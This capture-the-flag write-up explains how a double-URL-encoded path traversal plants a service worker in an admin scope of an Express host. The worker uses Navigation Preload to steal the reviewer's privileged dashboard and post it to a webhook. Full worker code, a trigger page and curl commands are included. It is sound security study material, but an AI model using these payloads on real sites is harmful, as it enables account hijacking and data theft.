$ cat writeup.md…
$ cat writeup.md…
d3c2026
Task: An Express static host exposes guest uploads, a reviewer bot, webhooks, and a protected admin dashboard, with inconsistent URL decoding. Solution: Double-decoding traversal plants an admin-scoped service worker whose Navigation Preload response is exfiltrated.
A tiny static hosting platform for guest pages, reviewer workflows, and webhook testing! Just upload your files, submit them for review, and keep your deployment notes organized.
The application lets guests upload files under /u/guest/, ask a reviewer bot to open a URL through /bot?url=..., and receive callbacks at /webhook/guest, which are displayed by /inbox. The objective is to read the reviewer-only /u/admin/dashboard.
Reconnaissance identified an Express application with the following relevant surfaces:
POST /upload, with path and content form fields;GET /bot?url=..., which accepts the submitted HTTP URL for review;/u/guest/, where uploaded guest content is served;/webhook/guest and /inbox, providing a same-origin exfiltration sink and its log;/u/admin/dashboard, which returns 403 to an unauthenticated request.Upload validation and final storage did not interpret the path identically. The form path
/u/guest/%252e%252e/admin/scope-drift-sw4.js
passed the guest-prefix validation. One decoding pass changes %25 into %, leaving the apparently guest-local path /u/guest/%2e%2e/admin/scope-drift-sw4.js. A later decode and path normalization turns %2e%2e into .., so the file is ultimately served from:
/u/admin/scope-drift-sw4.js
This is enough to move attacker-controlled JavaScript from the guest namespace into the admin URL namespace.
By default, a service worker's maximum and default scope are derived from the directory containing its script URL. A worker loaded from /u/admin/scope-drift-sw4.js therefore receives /u/admin/ scope, even though registration is initiated by a page under /u/guest/. No broader Service-Worker-Allowed header is needed because the desired scope is exactly the worker script's own directory.
Consequently, the worker controls later navigations to /u/admin/dashboard. The trigger page confirmed that the reviewer's browser registered the worker with scope http://localhost:3000/u/admin/.
Several superficially equivalent requests did not retain the reviewer's privileged navigation context:
403;403;fetch(event.request) also returned 403.Navigation Preload behaves differently. Once enabled during activation, the browser starts a parallel network request as part of the original top-level navigation while the service worker starts. The resulting response is exposed as event.preloadResponse. In this challenge, that browser-managed request preserved the special authorization context attached to the reviewer's dashboard navigation, whereas a new fetch initiated by worker code did not. The observed distinction was decisive: event.preloadResponse returned the real dashboard with status 200, while fresh worker fetches returned 403.
Run the commands from the task directory containing exploit-sw.js and trigger.html.
The complete worker payload is:
self.addEventListener("install", event => event.waitUntil(self.skipWaiting())); self.addEventListener("activate", event => event.waitUntil(Promise.all([ self.clients.claim(), self.registration.navigationPreload.enable(), ]))); self.addEventListener("fetch", event => { const url = new URL(event.request.url); if (event.request.mode === "navigate" && url.pathname === "/u/admin/dashboard") { event.respondWith((async () => { // Navigation preload preserves the browser's privileged navigation context. const response = await event.preloadResponse || await fetch(event.request); const body = await response.clone().text(); await fetch("/webhook/guest", { method: "POST", headers: {"Content-Type": "text/plain"}, body: `ADMIN_PRELOAD status=${response.status}\n${body}`, }); return response; })()); } });
Upload it through the double-encoded traversal path:
TARGET='https://rlxhzixxsu3hd6gwvnx6hzcxd3e.cloud.d3c.tf' curl -sS -X POST "$TARGET/upload" \ --data-urlencode 'path=/u/guest/%252e%252e/admin/scope-drift-sw4.js' \ --data-urlencode '[email protected]' curl -i "$TARGET/u/admin/scope-drift-sw4.js"
The second request verifies that the JavaScript is now reachable in /u/admin/ rather than merely under the accepted guest path.
The normal guest page registers the displaced worker and reports the assigned scope:
<!doctype html> <meta charset="utf-8"> <script> navigator.serviceWorker.register("/u/admin/scope-drift-sw4.js") .then(registration => fetch("/webhook/guest", { method: "POST", headers: {"Content-Type": "text/plain"}, body: `ADMIN_SW4 registered scope=${registration.scope}`, })); </script>
Upload it without traversal:
curl -sS -X POST "$TARGET/upload" \ --data-urlencode 'path=/u/guest/scope-register4.html' \ --data-urlencode '[email protected]'
The bot rejected HTTPS submissions, so submit the HTTP form of the public URL exactly as follows:
curl -sS -G "$TARGET/bot" \ --data-urlencode 'url=http://rlxhzixxsu3hd6gwvnx6hzcxd3e.cloud.d3c.tf/u/guest/scope-register4.html'
The reviewer first opens the guest trigger, which installs the /u/admin/ worker, and later navigates to /u/admin/dashboard. The worker intercepts that navigation, awaits the preloaded status-200 response, clones its body, and posts the clone to the guest webhook without disrupting the original navigation.
curl -sS "$TARGET/inbox"
The inbox first shows the worker registration callback and its /u/admin/ scope. It then records an ADMIN_PRELOAD status=200 entry containing the dashboard HTML and d3ctf{REDACTED}.
/u/admin/dashboard from the guest page returned 403.403.opened=false, so an automatic popup could not retain a useful privileged context.fetch(event.request) created a request that returned 403; only the preloaded original navigation returned 200.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar